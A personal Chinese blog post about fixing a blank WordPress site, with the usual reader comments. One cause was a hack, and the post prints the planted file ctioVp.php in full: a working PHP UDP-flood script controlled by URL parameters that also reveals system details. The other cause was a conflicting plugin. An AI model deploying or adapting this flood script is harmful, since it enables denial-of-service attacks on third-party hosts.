人生里这20种东西最没卵用,有一件叫做因太懒从未使用的懒人支架,哈哈哈,逗死我了。真的是懒到极致了,我最近也是懒到极致了。工作的事情当然不会懒,但是好像除了工作的事情我好像很多东西都没有了兴趣,连找妹子聊天都没有了。
前段时间出现了几次,但是有两次不是因为服务器的问题,而是确实是有问题的。现象是网站能够ping通,能够打开,但是打开为一片空白,而不是连不上。
一、网站被人恶意破坏了
在空间管理的界面上看了下文件修改日期,有两个文件非常可疑。index.php的修改日期不对,ctioVp.php这个文件是新增的。
index.php
被改成里面有各种链接的东西。
ctioVp.php
这个文件有趣了,看起来像是黑网站的相关代码,具体我没怎么看。~。~我不懂PHP啊。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen = $_GET['len']; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0) { if (StrLen($_GET['rat'])<>0) { echo php_uname(); exit; } exit; } for($i=0; $i < $Sendlen; $i++) { $out .= "A"; } $max_time = time() + $exec_time; while(1) { if(time() > $max_time) { break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp) { fwrite($fp, $out); fclose($fp); } } ?> |
把citoVp.php文件删掉,恢复index.php的备份。
查了下我的登录记录,没有发现什么可疑。为了网站安全还是修改了后台登录的密码。Orz
二、WordPress的主题或者插件冲突
这次通过查看网站文件和数据库,没有发现什么问题,后台登录界面也显示不出来,网上搜了下,说是可能主题或者插件与WordPress冲突了。
1、主题冲突
通过ftp,把wp-content\themes 目录下在用的主题的文件夹名字改成别的名字。然后看下能否打开。
如果能打开,就确定是主题的问题。
如果不能打开,再试试喜下面的方法。
2、插件冲突
通过ftp,把wp-content\plugins目录改个名字,新建一个plugins文件夹,再看下能否正常显示网站。
如果能打开,那就把插件一个个恢复回去,看看能否打开。
我这边排查之后,确定了Baidu Sitemap Generator这个插件导致整个网站不能正常显示。禁用后正常。
我目前WordPress版本为:4.4.2
Baidu Sitemap Generator 的版本为 1.6.5版本
>> 若为原创,转载请注明: 转载自Laycher's Blog
>> 本文链接地址: WordPress打开空白那些事
>> 订阅本站: http://feed.feedsky.com/laycher
拜读大侠博客,感悟人生道理!
大王叫我来巡山,我把博客转一转。(*^__^*) 嘻嘻……
从百度进来的,拜读一下贵站博文先
丁酉年(鸡)二月十五 2017-3-12